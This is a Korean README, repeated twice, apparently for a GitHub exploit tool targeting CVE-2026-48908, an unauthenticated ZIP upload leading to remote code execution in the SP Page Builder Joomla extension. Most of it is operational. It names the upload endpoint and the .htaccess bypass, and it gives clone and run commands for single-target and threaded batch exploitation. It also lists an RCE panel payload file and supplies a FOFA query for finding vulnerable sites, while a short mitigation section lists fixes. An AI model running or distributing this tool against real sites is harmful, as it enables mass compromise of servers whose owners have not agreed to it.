CVE-2026-48908

---

📌 요약

SP Page Builder (Joomla) — 인증 없는 ZIP 업로드 → RCE

제품	SP Page Builder — com_sppagebuilder (JoomShaper)
버전	≤ 6.6.1
수정 버전	6.6.2+ — 업로드에 이제 관리자 권한 필요
인증	인증 불필요
공격 벡터	POST …&task=asset.uploadCustomIcon
필드	custom_icon (아이콘 폰트 ZIP)
기록 위치	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
우회	.PHP + fonts/.htaccess

🛡️ 수정 방법

1. SP Page Builder **6.6.2+**로 업데이트
2. /media/com_sppagebuilder/ → PHP 실행 비활성화
3. AllowOverride None — .htaccess 차단
4. WAF: custom_icon ZIP POST 요청 속도 제한

📦 설치

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

파일	역할
winrarzips_brand.py	CMD 배너 (by winrarzips)
sppb48908_core.py	익스플로잇 엔진
CVE-2026-48908-Suite.py	배치 + 단일 대상 CLI
CVE-2026-48908.py	단일 대상 래퍼
payloads/x7-panel.php	RCE 패널
requirements.txt	의존성

❌ 대상 목록, 스캔 결과 및 패널 URL은 저장소에 없습니다.

🎯 단일 대상

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 일괄 처리 (자체 목록에서)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ 오류 태그

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 요약

SP Page Builder (Joomla) — 인증되지 않은 ZIP 업로드 → RCE

제품	SP Page Builder — com_sppagebuilder (JoomShaper)
영향 받는 버전	≤ 6.6.1
수정 버전	6.6.2+ — 업로드에 관리자 권한 필요
인증	인증 불필요
벡터	POST …&task=asset.uploadCustomIcon
필드	custom_icon (아이콘 폰트 ZIP)
쓰기 경로	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
우회	.PHP + fonts/.htaccess

🛡️ 완화 조치

1. SP Page Builder를 **6.6.2+**로 업그레이드
2. /media/com_sppagebuilder/ 하위에서 PHP 실행 비활성화
3. AllowOverride None — .htaccess PHP 등록 차단
4. WAF: custom_icon ZIP 업로드 속도 제한

📦 설정

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

파일	역할
winrarzips_brand.py	CMD 배너 (by winrarzips)
sppb48908_core.py	익스플로잇 코어
CVE-2026-48908-Suite.py	배치 + 단일 대상 CLI
CVE-2026-48908.py	단일 대상 래퍼
payloads/x7-panel.php	RCE 패널 페이로드
requirements.txt	의존성

❌ 대상 목록, 스캔 결과 및 라이브 패널 URL은 포함되지 않습니다.

🎯 단일 대상

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 배치 (사용자 자신의 목록)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ 오류 태그

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---